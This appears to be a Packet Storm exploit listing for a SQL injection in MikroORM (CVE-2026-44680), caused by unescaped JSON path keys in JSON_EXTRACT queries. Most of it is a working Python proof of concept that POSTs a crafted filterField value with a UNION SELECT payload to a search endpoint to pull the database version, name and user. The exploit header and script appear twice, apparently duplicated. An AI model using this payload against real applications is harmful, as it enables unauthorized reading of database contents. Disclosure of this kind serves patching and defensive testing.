7.6
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Description
MikroORM version 7.0.13 suffers from a remote SQL injection vulnerability...
Basic Information
ID
PACKETSTORM:222199
Published
May 29, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: MikroORM 7.0.13 - SQL Injection
# Google Dork: N/A
# Date: 2026-05-27
# Exploit Author: cardosource
# Vendor Homepage: https://mikro-orm.io/
# Software Link: https://github.com/mikro-orm/mikro-orm
# Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13
# Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x
# CVE: CVE-2026-44680
# Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
"""
Description:
The vulnerability exists because MikroORM fails to properly escape
runtime-controlled JSON path keys when building JSON_EXTRACT queries.
The attacker can break out of the JSON path context and inject arbitrary SQL.
Affected API pattern:
em.find(Entity, {
jsonColumn: {
[userControlledKey]: value
}
})
By injecting crafted JSON-path keys, it becomes possible to execute
UNION SELECT statements and extract arbitrary database information.
"""
import requests
import json
url = "http://localhost:3000/api/users/search"
payload = {
"filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ",
"filterValue": "x"
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(url, json=payload, headers=headers)
print(f"Status: {response.status_code}")
print(json.dumps(response.json(), indent=2))
# Google Dork: N/A
# Date: 2026-05-27
# Exploit Author: cardosource
# Vendor Homepage: https://mikro-orm.io/
# Software Link: https://github.com/mikro-orm/mikro-orm
# Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13
# Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x
# CVE: CVE-2026-44680
# Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
"""
Description:
The vulnerability exists because MikroORM fails to properly escape
runtime-controlled JSON path keys when building JSON_EXTRACT queries.
The attacker can break out of the JSON path context and inject arbitrary SQL.
Affected API pattern:
em.find(Entity, {
jsonColumn: {
[userControlledKey]: value
}
})
By injecting crafted JSON-path keys, it becomes possible to execute
UNION SELECT statements and extract arbitrary database information.
"""
import requests
import json
url = "http://localhost:3000/api/users/search"
payload = {
"filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ",
"filterValue": "x"
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(url, json=payload, headers=headers)
print(f"Status: {response.status_code}")
print(json.dumps(response.json(), indent=2))